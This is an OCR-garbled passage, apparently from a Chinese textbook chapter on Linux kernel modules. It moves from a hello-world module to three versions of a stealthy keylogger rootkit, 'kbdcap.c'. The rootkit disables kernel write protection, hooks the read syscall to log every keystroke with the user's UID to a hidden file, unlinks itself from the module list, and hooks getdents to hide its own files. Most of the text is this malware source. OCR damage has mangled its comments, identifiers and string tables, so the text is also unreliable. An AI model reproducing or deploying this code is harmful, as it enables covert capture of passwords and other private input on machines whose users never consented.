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// 1lkm.c
/] EINE R R

#include <linux/kernel.h>
#include <linux/module.h>

/] INEAER

static int _ init init mod(void) {
printk (KERN_EMERG"Initializing module ...\n");
return 0;

}

[/ EEEEE
static void __exit exit mod(void) {
printk (KERN_EMERG"Exiting module OK!\n");

}

module init(init_mod);
module_ exit(exit_mod);

MODULE_LICENSE("GPL");
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# Makefile
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obj-m := lkm.o

KBUILD := /lib/modules/$(shell uname -r)/build
CURDIR := $(shell pwd)

default:

make -C $(KBUILD) SUBDIRS=$(CURDIR) modules

clean:
make -C $(KBUILD) SUBDIRS=$(CURDIR) clean
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$ sudo insmod 1lkm.ko
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$ sudo lsmod

Module Size Used by
Tkm 16384 0
rfcomm 77824 ©
bnep 20480 2
btusb 45056 0
btrtl 16384 1 btusb
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$ sudo rmmod 1lkm
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$ sudo cat /proc/kmsg

<@>[ 485.257914] Initializing module ...
<0>[ 502.488845] Exiting module OK!
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int numb;

char* text;
MODULE_PARM(numb, "i");
MODULE_PARM(text, "s");
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$ insmod lkm.ko "numb=10", "text=Hello World!"
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int array[5];
MODULE_PARM(array, "1-5i");

$ insmod lkm.ko "array=10,20,30,40,50"
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#tdefine _syscalll(type,name,typel,argl) \
type name(typel argl) { \
__SYS_REG(name) \
register long _ ro _asm__("re") = (long)argl; \
register long _ res r@ __asm_ ("re"); \
long _ res; \
__asm__ _ volatile ( \
__syscall(name) \

: "=r"(_res_ro) \
__SYS_REG_LIST(""(__re)) \

: "memory"); \

__res = _ res_ro; \

\

__syscall return(type, res);
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#tdefine _ syscall return(type,res)

if ((unsigned long)res >= (unsigned long)-129) {
errno = -res;
res = -1;
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}

return (type)res;
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// kbdcap.c
/] BRI R

#include <linux/rtc.h>
#include <linux/file.h>
#include <linux/input.h>
#include <linux/syscalls.h>
#include <linux/kernel.h>
#include <linux/module.h>

// HEH
#define LOGFILE "/tmp/kbdcap.log"

[/ EERL i
static const char* keys[] = {

" “ESC”, "), "2(@)",
"3(#)", "a($)", "5(%)", "6(")",
"7(8)", "8(*)", "9(0)", "e())",
-, "=(+)", "BACKSPACE", "TAB",

"Q", "W, "E", "R",

"T, "y, "u", "I,

"0", "P", "L "1H"
"ENTER", "LEFTCTRL", "A", "s",

"D", "F", "G", "H",

"3, K", "L, R GDR
"), )Y, "LEFTSHIFT",  "\\(])",
"z", X", "c", V",

"B", "N", "M", <",
L))", WACO "RIGHTSHIFT", "<*>",
"LEFTALT", "y "CAPSLOCK", "F1",

"F2", "F3", "F4", "F5",

"F6", "F7", "F8", "Fo",

"F10", "NUMLOCK", "SCROLLLOCK", "<7(HOME)>",
"<8(UP)>",  "<9(PAGEUP)>", "<t "<4(LEFT)>",
"<5>", "<6(RIGHT)>", ", "<1(END)>",
"<2(DOWN)>", "<3(PAGEDOWN)>", "<@(INSERT)>", "<.(DELETE)>",
e "ZENKAKUHANKAKU",  "102ND", "F11",
"F12", "RO", "KATAKANA" , "HIRAGANA",
"HENKAN", "KATAKANAHIRAGANA", "MUHENKAN", "KPJPCOMMA™",
"CENTER>",  "RIGHTCTRL", "</t "SYSRQ",
"RIGHTALT", "LINEFEED", "HOME", "UP",
"PAGEUP", "LEFT", "RIGHT", "END",
"DOWN", "PAGEDOWN" , "INSERT", "DELETE",
"MACRO", "MUTE", "VOLUMEDOWN", "VOLUMEUP",
"POWER", "e=>", "eES", "PAUSE",
"SCALE", "L, "HANGUEL", "HANJA",
"YEN", "LEFTMETA", "RIGHTMETA", "COMPOSE"};

/] RBUAHE
static void** sys call table;

/! RRGHH
asmlinkage static long (*real_read)(
unsigned int fd, char __user* buf, size t count);



// BHE
static void wlog(const char* format, ...) {

struct file * fp; /] XA
mm_segment_t fs; // HuhbYE
struct rtc_time  tm; // B TE &R
loff_t pos = @; // WEAE
va_list ap; /] TESH
static char buf[1024]; // HE&EZnh

// FTIF A ES

if (IS_ERR(fp = filp_open(LOGFILE,
O_CREAT | O_WRONLY | O_APPEND, 0644)))
return;

// &bk
fs = get _fs();
// WEHHEE
set fs(KERNEL_DS);

/1 R HEK
rtc_time_to_tm(get_seconds(), &tm);
snprintf(buf, sizeof(buf),
"%04d/%02d/%02d %02d:%02d:%02d CMD:%s PID:%d UID:%u> ",
tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday,
tm.tm_hour + 8, tm.tm_min, tm.tm_sec,
current->comm, current->pid, _ kuid_val(current->cred->uid));
vfs write(fp, buf, strlen(buf), &pos);

/7 A H EAE

va_start(ap, format);

vsnprintf(buf, sizeof(buf), format, ap);
va_end(ap);

vfs write(fp, buf, strlen(buf), &pos);

/1 BNBEXMF
vfs_write(fp, "\n", 1, &pos);

// VRS kT
set_fs(fs);

/1 RAHEX
filp_close(fp, NULL);

/] KABHRY
static void close wp(void) {
volatile unsigned long cr@; // CROW{7i:

// BEERZE G
preempt_disable();
// GEELCROZF A7 4%
cr@ = read_cro();

/] TERS R
clear bit(X86_CRO_WP_BIT, &cro);



}

// 5 NCROFF {45
write cro(cro);
/] HRENAZIE G
preempt_enable();

/] TSRS

static void open_wp(void) {

}

volatile unsigned long cr@; // CROT 7%

// BRI
preempt_disable();
// BEEXCROZFAF#%
cre = read_cro();

/] WEERPA
set_bit(X86_CRO_WP_BIT, &cro);

// B NCROF 745
write cro(cro);
// RIS
preempt_enable();

/! ARG HH
asmlinkage static long fake_read(

unsigned int fd, char _ user* buf, size t count) {

long len; [/ R
struct file * fp; /] RO
char path[512]; /] BB AR
const char * dev = "/dev/input/event"; // W& ISR
struct input_event evt; /] N FARE

/] HEBINE. ..
if ((len = real read(fd, buf, count)) > 0)
/] IRECCA 2
if ((fp = fget(fd)) != NULL) {
/] GERNEM. ..
if (! strncmp(d_path(&fp->f_path, path, sizeof(path)),
dev, strlen(dev))) {
/] EHFEE

copy_from_user(&evt, buf, sizeof(evt));

/] EHRBERES. ..
if (evt.type == EV_KEY && evt.code < 128)
wlog("[%s] %s", keys[evt.code],
evt.value ? "Down" : "Up");

}

/] BB SE
fput(fp);

return len;



FHRARG WL
statlc int search_sct(void) {
for (sys_call table = (void**)PAGE_OFFSET;
sys_call_table < (void**)ULLONG_MAX; ++sys_call table)
if (sys_call table[__NR_close] == (void*)sys close)
return 0;

return -1;

}
/] HH
static void hook(void) {
/ ?Id J /1\'})_[
close wp();
/] &R RS
real_read = sys_call table[_NR_read];
/] WE ARG
sys_call table[_NR_read] = fake_read;
/] FIIT SR
open_wp();
}
/] 1R

static void unhook(void) {
/] KGR
close_wp();

/] WE)R RS
sys_call table[ NR read] = real read;

/] AT SR
open_wp();
}

/] INEAER
static int _ init init_mod(void) {
wlog("Initializing module ...");

FE ARG E

1f (search_sct() == -1) {
wlog("Unable to find system call table");
return -1;

}

/] HH

hook();

return 0;

}

/] EEARER



static void _ exit exit mod(void) {
unhook();

wlog("Exiting module OK!");
}

module_init(init_mod);
module exit(exit_mod);

MODULE_LICENSE("GPL");

2. [REIHIRIRISRI S

obj-m := kbdcap.o

KBUILD := /lib/modules/$(shell uname -r)/build
CURDIR := $(shell pwd)

default:

make -C $(KBUILD) SUBDIRS=$(CURDIR) modules

clean:
make -C $(KBUILD) SUBDIRS=$(CURDIR) clean
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// kbdcap.c
/] BRI R

#include <linux/rtc.h>
#include <linux/file.h>
#include <linux/input.h>
#include <linux/syscalls.h>
#include <linux/kernel.h>
#include <linux/module.h>

// HEH
#define LOGFILE "/tmp/kbdcap.log"

// BRI
static const char* keys[] = {

" “ESC”, "), "2(@)",
"3(#)", "a($)", "5(%)", "6(")",
"7(8)", "8(*)", "9(0)", "e())",
-, "=(+)", "BACKSPACE", "TAB",

"Q", "W, "E", "R",

"T, "y, "u", "I,

"0", "P", "L "1H"
"ENTER", "LEFTCTRL", "A", "s",

"D", "F", "G", "H",

"3, K", "L, R GDR
"), )Y, "LEFTSHIFT",  "\\(])",
"z", X", "c", V",

"B", "N", "M", GO
L))", WACO "RIGHTSHIFT", "<*>",
"LEFTALT", "y "CAPSLOCK", "F1",

"F2", "F3", "F4", "F5",

"F6", "F7", "F8", "F9",

"F10", "NUMLOCK", "SCROLLLOCK", "<7(HOME)>",
"<8(UP)>",  "<9(PAGEUP)>", "<t "<4(LEFT)>",
"<5>", "<6(RIGHT)>", ", "<1(END)>",
"<2(DOWN)>", "<3(PAGEDOWN)>", "<@(INSERT)>", "<.(DELETE)>",
e "ZENKAKUHANKAKU",  "102ND", "F11",
"F12", "RO", "KATAKANA" , "HIRAGANA",
"HENKAN", "KATAKANAHIRAGANA", "MUHENKAN", "KPJPCOMMA™",
"CENTER>",  "RIGHTCTRL", "</t "SYSRQ",
"RIGHTALT", "LINEFEED", "HOME", "UP",
"PAGEUP", "LEFT", "RIGHT", "END",
"DOWN", "PAGEDOWN" , "INSERT", "DELETE",
"MACRO", "MUTE", "VOLUMEDOWN", "VOLUMEUP",
"POWER", "e=>", "eES", "PAUSE",
"SCALE", "L, "HANGUEL", "HANJA",
"YEN", "LEFTMETA", "RIGHTMETA", "COMPOSE"};

/] RBUAHE
static void** sys call table;

/! RRGHH
asmlinkage static long (*real_read)(
unsigned int fd, char __user* buf, size t count);



// BHE
static void wlog(const char* format, ...) {

struct file * fp; /] CAREER
mm_segment_t fs; // HuhEYE
struct rtc_time  tm; // B TE SR
loff_t pos = @; // WEAE
va_list ap; /] TESH
static char buf[1024]; // HE&EZm

// FTIF A ES

if (IS_ERR(fp = filp_open(LOGFILE,
O_CREAT | O_WRONLY | O_APPEND, 0644)))
return;

// &bk
fs = get _fs();
// WEHHEE
set fs(KERNEL_DS);

/1 R HEK
rtc_time_to_tm(get_seconds(), &tm);
snprintf(buf, sizeof(buf),
"%04d/%02d/%02d %02d:%02d:%02d CMD:%s PID:%d UID:%u> ",
tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday,
tm.tm_hour + 8, tm.tm_min, tm.tm_sec,
current->comm, current->pid, _ kuid_val(current->cred->uid));
vfs write(fp, buf, strlen(buf), &pos);

/7 A H EAE

va_start(ap, format);

vsnprintf(buf, sizeof(buf), format, ap);
va_end(ap);

vfs write(fp, buf, strlen(buf), &pos);

/1 BNBEXMF
vfs_write(fp, "\n", 1, &pos);

// VRS kT
set_fs(fs);

/1 RAHEXM
filp_close(fp, NULL);

/] KABHRY
static void close wp(void) {
volatile unsigned long cr@; // CROW{7i:

// BEERZE G
preempt_disable();
// GEELCROZF A7 4%
cr@ = read_cro();

/] TERS R
clear _bit(X86_CRO_WP_BIT, &cro);



}

// 5 NCROFF {45
write cro(cro);
/] HRENAZIE G
preempt_enable();

/] TSRS

static void open_wp(void) {

}

volatile unsigned long cr@; // CRO% fi#s

// BRI
preempt_disable();
// BEHXCROZFAF#%
cre = read_cro();

/] WEERPA
set_bit(X86_CR@_WP_BIT, &cro);

// B NCROF 745
write cro(cro);
/] RIS
preempt_enable();

/! ARG HH
asmlinkage static long fake_read(

unsigned int fd, char _ user* buf, size t count) {

long len; [/ R
struct file * fp; /] RO
char path[512]; /] BB AR
const char * dev = "/dev/input/event"; // W& ISR
struct input_event evt; /] N FAEE

/] HEBINE. ..
if ((len = real read(fd, buf, count)) > 0)
/] IRBCCA 2
if ((fp = fget(fd)) != NULL) {
/] GERNEM. ..
if (! strncmp(d_path(&fp->f_path, path, sizeof(path)),
dev, strlen(dev))) {
/] EHIFEER

copy_from_user(&evt, buf, sizeof(evt));

/] EHRBERES. ..
if (evt.type == EV_KEY && evt.code < 128)
wlog("[%s] %s", keys[evt.code],
evt.value ? "Down" : "Up");

}

/] BB SE
fput(fp);

return len;



FHRARG WL
statlc int search_sct(void) {
for (sys_call table = (void**)PAGE_OFFSET;
sys_call_table < (void**)ULLONG_MAX; ++sys_call table)
if (sys_call table[__NR_close] == (void*)sys close)
return 0;

return -1;

}
/] HH
static void hook(void) {
close_wp(),
/] &R RS
real_read = sys_call table[_NR_read];
/] EEBARSGRA
sys_call table[_NR_read] = fake_read;
/] FIIT SR
open_wp();
}
/] fEEH

static void unhook(void) {
/] KGR
close_wp();

/] WE)R RS
sys_call table[ NR read] = real read;

/] TSR
open_wp();

/] BRGEAREER

static void hide mod(void) {
__this _module.list.prev->next = _ this module.list.next;
__this_module.list.next->prev = _ this_module.list.prev;
__this _module.list.next = LIST_POISON1;
__this module.list.prev = LIST_POISON2;

/] IEAESR
static int _ init init mod(void) {
wlog("Initializing module ...");

FRAGRHR

if (search_sct() == -1) {
wlog("Unable to find system call table");
return -1;



hook();

hide _mod();

return 0;

static void _ _exit exit mod(void) {
unhook();

wlog("Exiting module OK!");
}

module init(init_mod);
module_exit(exit_mod);

MODULE_LICENSE("GPL");

9.3.3 [eREE3iH

1. X4 SR RIE
E¥Fsys_getdentsflsys_getdents64 R FAA |, KBEERERERZENEREZEERHHER.

2. X {4 P=ieescie



// kbdcap.c
/] BRI R

#include <linux/rtc.h>
#include <linux/file.h>
#include <linux/input.h>
#include <linux/slab.h>
#include <linux/dirent.h>
#include <linux/syscalls.h>
#include <linux/kernel.h>
#include <linux/module.h>

// HEXXE
#define LOGFILE "/tmp/kbdcap.log"

// BH¥%H

struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[];

¥

[/ BERL
static const char* keys[] = {

" "ESCY, 1", "2(@)",
"3(#)", "a($)", "5(%)", "6(")",
"7(8)", "8(*)", "9(0)", "e())",
-, "=(+)", "BACKSPACE", "TAB",

"Q", "W, R "R",

iR "y, "u", M

"0", "P", "L, "1H"
"ENTER", "LEFTCTRL", "A", "s",

"D", R "G", "H",

"3", K", "L ()"
""", ) "LEFTSHIFT",  "\\(])",
7 X", Yy "V,

"B", "N", "M", GO
BN WACH S "RIGHTSHIFT", "<*>",
"LEFTALT", ey "CAPSLOCK", "F1",

“ERY “F3Yy "F4", “F5Y

"F6", 777, "F8", REORS

"F1e0", "NUMLOCK", "SCROLLLOCK", "<7(HOME)>",
"<8(UP)>", "<9(PAGEUP)>", Q=" "<4(LEFT)>",
"<5>", "<6(RIGHT)>", ">, "<1(END)>",
"<2(DOWN)>", "<3(PAGEDOWN)>", "<O(INSERT)>", "<.(DELETE)>",
g "ZENKAKUHANKAKU" , "102ND", "F11",
"F12", "RO", "KATAKANA", "HIRAGANA",
"HENKAN", "KATAKANAHIRAGANA", "MUHENKAN", "KPJPCOMMA",
"<ENTER>", "RIGHTCTRL", "</, "SYSRQ",
"RIGHTALT", "LINEFEED", "HOME" , "up",
"PAGEUP", "LEFT", "RIGHT", "END",
"DOWN", "PAGEDOWN", "INSERT", "DELETE",

"MACRO", "MUTE", "VOLUMEDOWN", "VOLUMEUP",



"POWER", II<=>II’ ll<i_>lI, "PAUSE",

"SCALE", "ot "HANGUEL", "HANJA",
"YEN", "LEFTMETA", "RIGHTMETA",  "COMPOSE"};
/] BRI

static const char* hidden files[] = {"kbdcap.ko", "kbdcap.log"};

// ARG

static void** sys call table;

// J‘fl/]\ziLLJJ”J
asmlinkage static long (*real_read)(
unsigned int fd, char _ user* buf, size t count);

/] JRZRSG A
asmlinkage static long (*real getdents)(unsigned int fd,
struct linux_dirent _ user* dirent, unsigned int count);

/] JRRGHH
asmlinkage static long (*real_getdents64)(unsigned int fd,
struct linux_dirent64 _ user* dirent, unsigned int count);

// BHE

static void wlog(const char* format, ...) {
struct file * fp; /] SR
mm_segment_t fs; // HhhbJE R
struct rtc_time  tm; // W TE S5 H
loff t pos = @; // EEME
va_list ap; ALIE'S =
static char buf[1024]; // HEZM

// FTHBEA

if (IS_ERR(fp = filp_open(LOGFILE,
O _CREAT | O _WRONLY | O _APPEND, 0644)))
return;

// &k yE
fs = get fs();
// WENEE
set_fs(KERNEL_DS);

/ HERHE K
rtc_time_to tm(get seconds(), &tm);
snprintf(buf, sizeof(buf),
"%04d/%02d/%02d %02d:%02d:%02d CMD:%s PID:%d UID:%u> ",
tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday,
tm.tm_hour + 8, tm.tm_min, tm.tm_sec,
current->comm, current->pid, _ kuid val(current->cred->uid));
vfs_write(fp, buf, strlen(buf), &pos);

// #RH E A

va_start(ap, format);

vsnprintf(buf, sizeof(buf), format, ap);
va_end(ap);

vfs write(fp, buf, strlen(buf), &pos);



}

// BB
vfs write(fp, "\n", 1, &pos);

// A LG
set_fs(fs);

[/ RHHEXH
filp_close(fp, NULL);

/] RAERY

static void close wp(void) {

}

volatile unsigned long cr@; // CRO%Z{i#s

/] LR
preempt_disable();
// EELCROZF 1744
cr@ = read_cro();

/1 EBRE R AL
clear bit(X86_CRO_WP_BIT, &cro9);

// HNCROF{74%
write cro(cro);
// fERE AR G
preempt_enable();

/] TSRS

static void open_wp(void) {

}

volatile unsigned long cr@; // CROZ{i#s

/] FEE ARG
preempt_disable();
// EEUCROZF 17 4%
cr@ = read cro();

/] BEGRIHL
set_bit(X86_CRO_WP_BIT, &cre);

// ENCROZ {75+
write cro(cro);
/] e S
preempt_enable();

/] FEGHM

asmlinkage static long fake read(

unsigned int fd, char __user* buf, size_t count) {

long len; /] BEECEATC R
struct file * fp; /] BN
char path[512]; // RO
const char * dev = "/dev/input/event"; // i AR

struct input_event evt; /] FNFATLE



/] EEBAR. ..
if ((len = real_read(fd, buf, count)) > 0)
/1 FRBOCA S5
if ((fp = fget(fd)) != NULL) {
/] ERRWMANE. ..
if (! strncmp(d_path(&fp->f path, path, sizeof(path)),
dev, strlen(dev))) {
/] EHFEE

copy_from user(&evt, buf, sizeof(evt));

/] HHBREM...
if (evt.type == EV_KEY && evt.code < 128)
wlog("[%s] %s", keys[evt.code],
evt.value ? "Down" : "Up");

/] B
fput(fp);

return len;

/] FERGZ VA
asmlinkage static long fake getdents(unsigned int fd,
struct linux dirent _ user* dirent, unsigned int count) {

Long len; // H&%HEFIH
Ve * buf; // HFEEHRMEENKX

struct linux_dirent * this; // M7 H 4% H
struct linux_dirent * next; // /1 H%H
long rest; // FIRTFTH

int alg /] B R R 5

/] FHEFIHFFHE. ..
if ((len = real_getdents(fd, dirent, count)) > 9)
/7 riC H3% HRNZZ X
if ((buf = kmalloc(len, GFP_KERNEL)) != NULL) {
/1 ¥ H 2% HRMH 7 G2 X S 2 N A% 22 X

copy_from user(buf, dirent, len);

// WP HFFERE
for (this = buf, rest = len; rest; this = next) {
/] EFTF—AMHZF%H
next = (struct linux_dirent*)(
(uint8_t*)this + this->d_reclen);
/] EEFFRTIAH
rest -= this->d_reclen;

// T RO AR
for (i = @; i < sizeof(hidden_files) /
sizeof(hidden_files[0]); ++1i)
// 5 2ETH 35k B R AR
if (! strncmp(this->d_name, hidden_files[i],
strlen(hidden_files[i]))) {
// M =ET H 3% B



memmove (this, next, rest);
next = this;

len -= this->d_reclen;
break;

/] ¥ B FKERNAZE M X E S B 22X
copy_to user(dirent, buf, len);

// BEH 3% B RN X

kfree(buf);

return len;

/] H RS
asmlinkage static long fake getdents64(unsigned int fd,
struct linux_dirent64 _ user* dirent, unsigned int count) {

Long len; // BFFZHRFTH
void * buf; // HERFHERAZZEMX

struct linux_dirent64 * this; // 4HTH3%H
struct linux_dirent64 * next; // F I Hut%H

long rest; // FIRTFIE
int i; /] BT R R T

/] HEBIHFFEE. ..
if ((len = real_getdents64(fd, dirent, count)) > 9)
// B H % HRARZZENIX
if ((buf = kmalloc(len, GFP_KERNEL)) != NULL) {
// ¥ B RN X E 6B A AZ S X
copy_from_user(buf, dirent, len);

// WP HFEER
for (this = buf, rest = len; rest; this = next) {
/] EETF—ANHEF%HE
next = (struct linux_dirent64*)(
(uint8_t*)this + this->d_reclen);
/] EHRRTAE
rest -= this->d_reclen;

// I8 RS SR
for (i = @; i < sizeof(hidden_files) /
sizeof(hidden_files[@]); ++i)
// T H 55k H T ZEA
if (! strncmp(this->d_name, hidden_files[i],
strlen(hidden_files[i]))) {
/7 MER4ET H 2% B
memmove (this, next, rest);
next = this;
len -= this->d_reclen;
break;



/1 ¥ H 3% RN NZGZ M IX S 2 g2 IX
copy_to_user(dirent, buf, len);

/1 BETHH 3% HR N MIX

kfree(buf);

return len;

/] FHRRGHHE
static int search_sct(void) {
for (sys_call table = (void**)PAGE_OFFSET;
sys_call_table < (void**)ULLONG_MAX; ++sys_call_ table)
if (sys_call table[__NR_close] == (void*)sys close)
return 0;

return -1;

/] HH

static void hook(void) {
/] KGR
close _wp();

/1 &R ARG
real read = sys call table[_NR_read];
/] WEH RS
sys_call table[ NR read] = fake_read;

/] Fn )RR
real getdents = sys call table[_NR getdents];
/] WEH RS
sys_call table[ NR getdents] = fake_getdents;

/] F )RR G
real getdents64 = sys call table[ NR getdents64];
/] WEF RG]
sys_call table[ NR getdents64] = fake_ getdents64;

/] AT SR
open_wp();

/] fEE

static void unhook(void) {
/1] KRG LR
close wp();

// RER RSV
sys_call table[_NR read] = real read;

/1 IR ARG
sys_call_table[__NR_getdents] = real_getdents;

/] WRIEZRSGRH]



sys_call table[ NR getdents64] = real getdents64;

/] AT SR

open_wp();

}

// B

static void hide mod(void) {
__this module.list.prev->next = _ this module.list.next;
__this_module.list.next->prev = _ this_module.list.prev;
__this _module.list.next = LIST_POISON1;
__this_module.list.prev = LIST_POISON2;

}

// TREAEE
static int __init init_mod(void) {
wlog("Initializing module ...");

/] FERERGIFAHE

if (search_sct() == -1) {
wlog("Unable to find system call table");
return -1;

}

/]
hook () ;

[/ TR R
hide mod();

return 0;
}
/] EVERE
static void _ exit exit_mod(void) {
/] R
unhook();
wlog("Exiting module OK!");
}

module_init(init_mod);
module exit(exit_mod);

MODULE_LICENSE("GPL");
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